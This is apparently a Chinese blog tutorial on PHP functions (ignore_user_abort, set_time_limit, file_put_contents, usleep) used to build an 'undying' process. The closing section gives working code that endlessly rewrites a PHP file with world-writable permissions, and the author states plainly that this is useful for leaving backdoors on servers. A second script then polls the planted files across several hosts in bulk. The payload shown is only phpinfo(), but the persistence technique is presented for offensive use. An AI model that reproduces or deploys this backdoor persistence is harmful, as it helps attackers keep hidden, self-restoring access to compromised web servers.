写一个关于不死
进程,其实也就是定时的进程,时间短那就是无限的启用着。
之前有些文章也有这一些函数,但是没有备注。
ignore_user_abort() 函数
属于杂项函数。ignore_user_abort()
函数设置与客户机断开是否会终止脚本的执行。
语法
1 | ignore_user_abort(setting) |
setting
为可选项,如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行。
如果未设置该参数,会返回当前的设置。
注释
PHP 不会检测到用户是否已断开连接,直到尝试向客户机发送信息为止。
set_time_limit() 函数
在PHP4,PHP5和PHP7中
set_time_limit 是设置脚本最大执行时间
语法
1 | bool set_time_limit ( int $seconds ) |
seconds
最大的执行时间,单位为秒,默认值为30秒。如果设置为0(零),没有时间方面的限制。
file_put_contents() 函数
属于Filesystem 函数,这个允许访问和操作文件系统。
file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
语法
1 | file_put_contents(file,data,mode,context) |
file为必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data为可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode为可选。规定如何打开/写入文件。
context为可选。规定文件句柄的环境。
usleep() 函数
usleep() 函数为杂项函数,作用为延迟代码执行若干微秒。
语法
1 | usleep(microseconds) |
microseconds
是必需填写的。以微秒计的暂停时间。
运用
demo.php内容为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ignore_user_abort(true);
set_time_limit(0);
$file = 'demo.php';
$shell = "<?php phpinfo();?>";
while (TRUE) {
file_put_contents($file, $shell);
system('chmod 777 demo.php');
usleep(50);
}
这种小技巧在留后门上还是有些用的,种了多个demo.php,就可以批量获取demo.php界面内容。1
2
3
4
5
6
7
8
9
10
11
12<?php
$array = array(
"192.168.xxx.xxx",
"192.168.xxx.xxx"
);
for($i=0;$i<=1;$i++){
$url = "http://$array[$i]/demo.php";
$contents = file_get_contents($url);
echo "$array[$i] <br>";
echo "$contents <br><br>";
}
?>